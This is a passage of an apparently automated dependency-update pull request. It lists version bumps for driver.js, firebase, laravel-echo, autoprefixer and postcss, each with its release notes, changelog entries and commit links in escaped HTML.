render.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nilbuild/driver.js/commit/b7d671c81e26dd7841b7a8c6ec34c208e27b4d37\"\u003e\u003ccode\u003eb7d671c\u003c/code\u003e\u003c/a\u003e 1.7.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nilbuild/driver.js/commit/82d51716d28848bd8e9e56075a1791a287b00677\"\u003e\u003ccode\u003e82d5171\u003c/code\u003e\u003c/a\u003e Add config to skip missing elements\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nilbuild/driver.js/commit/1eb6c7853f17d08ebc259f34dd96bce5ffcea1c7\"\u003e\u003ccode\u003e1eb6c78\u003c/code\u003e\u003c/a\u003e Fix popover icon fonts and expose font-family variable\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nilbuild/driver.js/commit/a4f86e430495971d423866b8f9dac9cfee79214f\"\u003e\u003ccode\u003ea4f86e4\u003c/code\u003e\u003c/a\u003e Expose active step index on hook options\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nilbuild/driver.js/commit/1910fb2c30c26350c1647199ff306f5d0e7d854a\"\u003e\u003ccode\u003e1910fb2\u003c/code\u003e\u003c/a\u003e Minify the ESM bundle with Terser in postbuild\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nilbuild/driver.js/commit/cbf719f87efc608a562aedd2404b179d8419ba0e\"\u003e\u003ccode\u003ecbf719f\u003c/code\u003e\u003c/a\u003e Fix postbuild esbuild resolution by using Vite\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nilbuild/driver.js/commit/c30fc8ec079aff2263644354711fd928315ec722\"\u003e\u003ccode\u003ec30fc8e\u003c/code\u003e\u003c/a\u003e Document the multi-instance support\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nilbuild/driver.js/commit/bf4ae7e492906a0c90a1fe3e40cd539b34ee8b94\"\u003e\u003ccode\u003ebf4ae7e\u003c/code\u003e\u003c/a\u003e Tighten comments across the per-instance changes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nilbuild/driver.js/commit/a4d6dd00d8ad37598d3c30882a5ae96b92c85143\"\u003e\u003ccode\u003ea4d6dd0\u003c/code\u003e\u003c/a\u003e Add changelog entry for per-instance isolation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nilbuild/driver.js/commit/803c33e22b678c0dbf4ec29d1a649d72a9d275f1\"\u003e\u003ccode\u003e803c33e\u003c/code\u003e\u003c/a\u003e Add multiple-instances example to the playground\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nilbuild/driver.js/compare/1.6.0...1.7.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `firebase` from 12.15.0 to 12.16.0\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/firebase/firebase-js-sdk/commit/f0c943548300afd1ce9ed3917c201e669b408ec2\"\u003e\u003ccode\u003ef0c9435\u003c/code\u003e\u003c/a\u003e Merge release into main\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/firebase/firebase-js-sdk/commit/fe04cec42608d54e63950b2b218d15da4c0a40f4\"\u003e\u003ccode\u003efe04cec\u003c/code\u003e\u003c/a\u003e build: put include-dependencies flag back (\u003ca href=\"https://redirect.github.com/firebase/firebase-js-sdk/issues/10137\"\u003e#10137\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/firebase/firebase-js-sdk/commit/2894e91619a51f23f01a77e43255d1329bbcc55c\"\u003e\u003ccode\u003e2894e91\u003c/code\u003e\u003c/a\u003e Update re2js version (\u003ca href=\"https://redirect.github.com/firebase/firebase-js-sdk/issues/10104\"\u003e#10104\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/firebase/firebase-js-sdk/commit/df21ad3f8b8bddd645c7a959227a9407cff90f9e\"\u003e\u003ccode\u003edf21ad3\u003c/code\u003e\u003c/a\u003e fix: Resolve duplicate assertion ID and add check to Firestore CI (\u003ca href=\"https://redirect.github.com/firebase/firebase-js-sdk/issues/10138\"\u003e#10138\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/firebase/firebase-js-sdk/commit/1d24e5f72df2ec6cf54faaca32eec8155eea46e1\"\u003e\u003ccode\u003e1d24e5f\u003c/code\u003e\u003c/a\u003e chore(data-connect): refactor streaming tests and change idle timeout back to...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/firebase/firebase-js-sdk/commit/65baa7b4fe9c26c05f8c54d1ac3ccee21c200e37\"\u003e\u003ccode\u003e65baa7b\u003c/code\u003e\u003c/a\u003e fix(ai): update deprecated gemini models strings\u0026quot; (\u003ca href=\"https://redirect.github.com/firebase/firebase-js-sdk/issues/10043\"\u003e#10043\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/firebase/firebase-js-sdk/commit/6c710ba81aca4e5a319b42504a71fac1d490dcea\"\u003e\u003ccode\u003e6c710ba\u003c/code\u003e\u003c/a\u003e build(deps): update deps with security issues (pass 1) (\u003ca href=\"https://redirect.github.com/firebase/firebase-js-sdk/issues/10119\"\u003e#10119\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/firebase/firebase-js-sdk/commit/573fd16b90e1d79b159c81c696d8e84e5d08748f\"\u003e\u003ccode\u003e573fd16\u003c/code\u003e\u003c/a\u003e build(deps): Upgrade Lerna to 9.0.6 (\u003ca href=\"https://redirect.github.com/firebase/firebase-js-sdk/issues/10032\"\u003e#10032\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/firebase/firebase-js-sdk/commit/6d874fc3af568e48a9323c1f17a742cb42c79d5d\"\u003e\u003ccode\u003e6d874fc\u003c/code\u003e\u003c/a\u003e fix zizmor findings (\u003ca href=\"https://redirect.github.com/firebase/firebase-js-sdk/issues/10044\"\u003e#10044\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/firebase/firebase-js-sdk/commit/7ca70ab8008fe95ec721aca8370401e1a7e75c21\"\u003e\u003ccode\u003e7ca70ab\u003c/code\u003e\u003c/a\u003e Security Audit \u0026amp; Remediation: repo-scripts/api-documenter (\u003ca href=\"https://redirect.github.com/firebase/firebase-js-sdk/issues/10112\"\u003e#10112\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/firebase/firebase-js-sdk/compare/firebase@12.15.0...firebase@12.16.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `laravel-echo` from 2.3.7 to 2.4.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/laravel/echo/releases\"\u003elaravel-echo's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev2.4.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eEnable Dependabot auto-merge by \u003ca href=\"https://github.com/nunomaduro\"\u003e\u003ccode\u003e@​nunomaduro\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/laravel/echo/pull/518\"\u003elaravel/echo#518\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump the github-actions group with 2 updates by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/laravel/echo/pull/519\"\u003elaravel/echo#519\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump github/codeql-action from 4.36.1 to 4.36.2 in the github-actions group by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/laravel/echo/pull/524\"\u003elaravel/echo#524\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump esbuild from 0.25.11 to 0.28.1 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/laravel/echo/pull/523\"\u003elaravel/echo#523\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump the github-actions group with 2 updates by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/laravel/echo/pull/525\"\u003elaravel/echo#525\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump vite from 6.4.2 to 6.4.3 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/laravel/echo/pull/526\"\u003elaravel/echo#526\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eReplace socket.io-client imports with a local type shim in echo.d.ts by \u003ca href=\"https://github.com/lazerg\"\u003e\u003ccode\u003e@​lazerg\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/laravel/echo/pull/529\"\u003elaravel/echo#529\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eUpdate NPM dependencies by \u003ca href=\"https://github.com/crynobone\"\u003e\u003ccode\u003e@​crynobone\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/laravel/echo/pull/527\"\u003elaravel/echo#527\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix presence and whisper examples in echo-react Boost skill by \u003ca href=\"https://github.com/lazerg\"\u003e\u003ccode\u003e@​lazerg\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/laravel/echo/pull/530\"\u003elaravel/echo#530\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump stefanzweifel/git-auto-commit-action from 7.1.0 to 7.2.0 in the github-actions group by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/laravel/echo/pull/531\"\u003elaravel/echo#531\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003euseChannel\u003c/code\u003e hooks by \u003ca href=\"https://github.com/joetannenbaum\"\u003e\u003ccode\u003e@​joetannenbaum\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/laravel/echo/pull/532\"\u003elaravel/echo#532\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/lazerg\"\u003e\u003ccode\u003e@​lazerg\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/laravel/echo/pull/529\"\u003elaravel/echo#529\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/laravel/echo/compare/v2.3.7...v2.4.0\"\u003ehttps://github.com/laravel/echo/compare/v2.3.7...v2.4.0\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/laravel/echo/blob/2.x/CHANGELOG.md\"\u003elaravel-echo's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/laravel/echo/compare/v2.3.7...v2.4.0\"\u003ev2.4.0\u003c/a\u003e - 2026-07-11\u003c/h2\u003e\n\u003ch3\u003eWhat's Changed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEnable Dependabot auto-merge by \u003ca href=\"https://github.com/nunomaduro\"\u003e\u003ccode\u003e@​nunomaduro\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/laravel/echo/pull/518\"\u003elaravel/echo#518\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump the github-actions group with 2 updates by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/laravel/echo/pull/519\"\u003elaravel/echo#519\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump github/codeql-action from 4.36.1 to 4.36.2 in the github-actions group by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/laravel/echo/pull/524\"\u003elaravel/echo#524\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump esbuild from 0.25.11 to 0.28.1 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/laravel/echo/pull/523\"\u003elaravel/echo#523\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump the github-actions group with 2 updates by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/laravel/echo/pull/525\"\u003elaravel/echo#525\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump vite from 6.4.2 to 6.4.3 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/laravel/echo/pull/526\"\u003elaravel/echo#526\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eReplace socket.io-client imports with a local type shim in echo.d.ts by \u003ca href=\"https://github.com/lazerg\"\u003e\u003ccode\u003e@​lazerg\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/laravel/echo/pull/529\"\u003elaravel/echo#529\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eUpdate NPM dependencies by \u003ca href=\"https://github.com/crynobone\"\u003e\u003ccode\u003e@​crynobone\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/laravel/echo/pull/527\"\u003elaravel/echo#527\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix presence and whisper examples in echo-react Boost skill by \u003ca href=\"https://github.com/lazerg\"\u003e\u003ccode\u003e@​lazerg\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/laravel/echo/pull/530\"\u003elaravel/echo#530\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eBump stefanzweifel/git-auto-commit-action from 7.1.0 to 7.2.0 in the github-actions group by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/laravel/echo/pull/531\"\u003elaravel/echo#531\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003euseChannel\u003c/code\u003e hooks by \u003ca href=\"https://github.com/joetannenbaum\"\u003e\u003ccode\u003e@​joetannenbaum\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/laravel/echo/pull/532\"\u003elaravel/echo#532\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eNew Contributors\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/lazerg\"\u003e\u003ccode\u003e@​lazerg\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/laravel/echo/pull/529\"\u003elaravel/echo#529\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/laravel/echo/compare/v2.3.7...v2.4.0\"\u003ehttps://github.com/laravel/echo/compare/v2.3.7...v2.4.0\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/laravel/echo/commit/db9adc18b5d862aed7f2ad0688a99a6c8004b969\"\u003e\u003ccode\u003edb9adc1\u003c/code\u003e\u003c/a\u003e Bump version for packages/vue\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/laravel/echo/commit/9dfbfdfa0de5ed41f7e62cccbe5a24c30cf55686\"\u003e\u003ccode\u003e9dfbfdf\u003c/code\u003e\u003c/a\u003e Bump version for packages/svelte\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/laravel/echo/commit/d21d09ef7d27ee72753b7e0429a3c2b7e80cbad8\"\u003e\u003ccode\u003ed21d09e\u003c/code\u003e\u003c/a\u003e Bump version for packages/react\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/laravel/echo/commit/a02ff023069e80c00b4a3473a56b176045f5deaa\"\u003e\u003ccode\u003ea02ff02\u003c/code\u003e\u003c/a\u003e Bump version for packages/laravel-echo\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/laravel/echo/commit/3ceb912ab09037a5b1648b7f61f2164db15abd00\"\u003e\u003ccode\u003e3ceb912\u003c/code\u003e\u003c/a\u003e Add \u003ccode\u003euseChannel\u003c/code\u003e hooks (\u003ca href=\"https://redirect.github.com/laravel/echo/issues/532\"\u003e#532\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/laravel/echo/commit/87ebca6a256f7efed934c2cefd8228542d64ccff\"\u003e\u003ccode\u003e87ebca6\u003c/code\u003e\u003c/a\u003e Bump stefanzweifel/git-auto-commit-action in the github-actions group (\u003ca href=\"https://redirect.github.com/laravel/echo/issues/531\"\u003e#531\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/laravel/echo/commit/4efe655f3091a95c8271aea52acae2f75f31a113\"\u003e\u003ccode\u003e4efe655\u003c/code\u003e\u003c/a\u003e Fix presence and whisper examples in echo-react Boost skill (\u003ca href=\"https://redirect.github.com/laravel/echo/issues/530\"\u003e#530\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/laravel/echo/commit/75898d330d1e37cfff59f8b26f89f1321fe482fe\"\u003e\u003ccode\u003e75898d3\u003c/code\u003e\u003c/a\u003e Update NPM dependencies (\u003ca href=\"https://redirect.github.com/laravel/echo/issues/527\"\u003e#527\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/laravel/echo/commit/7abe2fee239e47f204c9f2970ea58eef3edc2321\"\u003e\u003ccode\u003e7abe2fe\u003c/code\u003e\u003c/a\u003e Replace socket.io-client imports with a local type shim in echo.d.ts (\u003ca href=\"https://redirect.github.com/laravel/echo/issues/529\"\u003e#529\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/laravel/echo/commit/1d2184e3d0579d29b12dae49790a95a19ca70854\"\u003e\u003ccode\u003e1d2184e\u003c/code\u003e\u003c/a\u003e Bump vite from 6.4.2 to 6.4.3 (\u003ca href=\"https://redirect.github.com/laravel/echo/issues/526\"\u003e#526\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/laravel/echo/compare/v2.3.7...v2.4.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `autoprefixer` from 10.5.0 to 10.5.3\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/autoprefixer/releases\"\u003eautoprefixer's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e10.5.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed brackets and gradient parser (\u003ca href=\"https://github.com/alanturing881\"\u003e\u003ccode\u003e@​alanturing881\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e10.5.2\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eMoved \u003ccode\u003e-webkit-fill-available\u003c/code\u003e before \u003ccode\u003e-moz-available\u003c/code\u003e, so Firefox\nwill use \u003ccode\u003e-webkit-\u003c/code\u003e version which is closer to \u003ccode\u003estretch\u003c/code\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e10.5.1\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003egrid-area\u003c/code\u003e span reset for overriding areas (by \u003ca href=\"https://github.com/puneetdixit200\"\u003e\u003ccode\u003e@​puneetdixit200\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/autoprefixer/blob/main/CHANGELOG.md\"\u003eautoprefixer's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e10.5.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed brackets and gradient parser (\u003ca href=\"https://github.com/alanturing881\"\u003e\u003ccode\u003e@​alanturing881\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e10.5.2\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eMoved \u003ccode\u003e-webkit-fill-available\u003c/code\u003e before \u003ccode\u003e-moz-available\u003c/code\u003e, so Firefox\nwill use \u003ccode\u003e-webkit-\u003c/code\u003e version which is closer to \u003ccode\u003estretch\u003c/code\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e10.5.1\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003egrid-area\u003c/code\u003e span reset for overriding areas (by \u003ca href=\"https://github.com/puneetdixit200\"\u003e\u003ccode\u003e@​puneetdixit200\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/958d390787c31c3044c1fb68ec37efc29637e26b\"\u003e\u003ccode\u003e958d390\u003c/code\u003e\u003c/a\u003e Release 10.5.3 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/21d2adb4d1fc6103c1e3cc39c991de59fdb5496e\"\u003e\u003ccode\u003e21d2adb\u003c/code\u003e\u003c/a\u003e Fix gradient parser\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/f7ddae99f0ebfa3961a5c14bd9ecb7d4310601a6\"\u003e\u003ccode\u003ef7ddae9\u003c/code\u003e\u003c/a\u003e Fix bracket parser\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/10ea5e7b8511a3e07aeb8a0f50f61496bc3faf4f\"\u003e\u003ccode\u003e10ea5e7\u003c/code\u003e\u003c/a\u003e Update dependencies and remove patch\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/b6e8a2a4672cafafcb3bb2c72cd0027a31b1a320\"\u003e\u003ccode\u003eb6e8a2a\u003c/code\u003e\u003c/a\u003e Update Dev Container\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/c2f872527fee63a3b1ed70034912925495ac9bac\"\u003e\u003ccode\u003ec2f8725\u003c/code\u003e\u003c/a\u003e Clean up CI\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/2db2ccf6abfaa9af60873a2fb5fa8790645ee7b9\"\u003e\u003ccode\u003e2db2ccf\u003c/code\u003e\u003c/a\u003e Move to public Dev Container\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/e99e38122ce706747c903ef321a3c1df2d7ada3e\"\u003e\u003ccode\u003ee99e381\u003c/code\u003e\u003c/a\u003e Release 10.5.2 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/98de3f5238ba92ce3bbf1a36b52cafcb44cddcfb\"\u003e\u003ccode\u003e98de3f5\u003c/code\u003e\u003c/a\u003e Move -webkit-fill-available before -moz-available to get a closer to spec res...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/8fe2513502248c84ea5a6c35a3f843cb9dd7e682\"\u003e\u003ccode\u003e8fe2513\u003c/code\u003e\u003c/a\u003e Release 10.5.1 version\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/postcss/autoprefixer/compare/10.5.0...10.5.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for autoprefixer since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `postcss` from 8.5.15 to 8.5.19\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/postcss/releases\"\u003epostcss's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.5.19\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed cleaning \u003ccode\u003ebefore\u003c/code\u003e for new nodes inserted to \u003ccode\u003eRoot\u003c/code\u003e (by \u003ca href=\"https://github.com/MahinAnowar\"\u003e\u003ccode\u003e@​MahinAnowar\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.18\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eRestricted loading previous source maps file to the \u003ccode\u003eopts.from\u003c/code\u003e folder for security reasons (use \u003ccode\u003eunsafeMap: true\u003c/code\u003e to disable the check).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.17\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eMaximum call stack size exceeded\u003c/code\u003e error.\u003c/li\u003e\n\u003cli\u003eFixed Prototype hijacking for \u003ccode\u003epostcss.fromJSON()\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eInput#origin()\u003c/code\u003e for unmapped end position (by \u003ca href=\"https://github.com/chatman-media\"\u003e\u003ccode\u003e@​chatman-media\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.16\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eInput#origin()\u003c/code\u003e position (by \u003ca href=\"https://github.com/mizdra\"\u003e\u003ccode\u003e@​mizdra\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eraws\u003c/code\u003e after rehydrating a JSON AST (by \u003ca href=\"https://github.com/sarathfrancis90\"\u003e\u003ccode\u003e@​sarathfrancis90\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed putting parent-less node in \u003ccode\u003enodes\u003c/code\u003e of new node (by \u003ca href=\"https://github.com/MahinAnowar\"\u003e\u003ccode\u003e@​MahinAnowar\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed computing \u003ccode\u003eoffset\u003c/code\u003e in \u003ccode\u003epositionBy()\u003c/code\u003e (by \u003ca href=\"https://github.com/greymoth-jp\"\u003e\u003ccode\u003e@​greymoth-jp\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003erangeBy()\u003c/code\u003e on \u003ccode\u003eindex: 0\u003c/code\u003e (by \u003ca 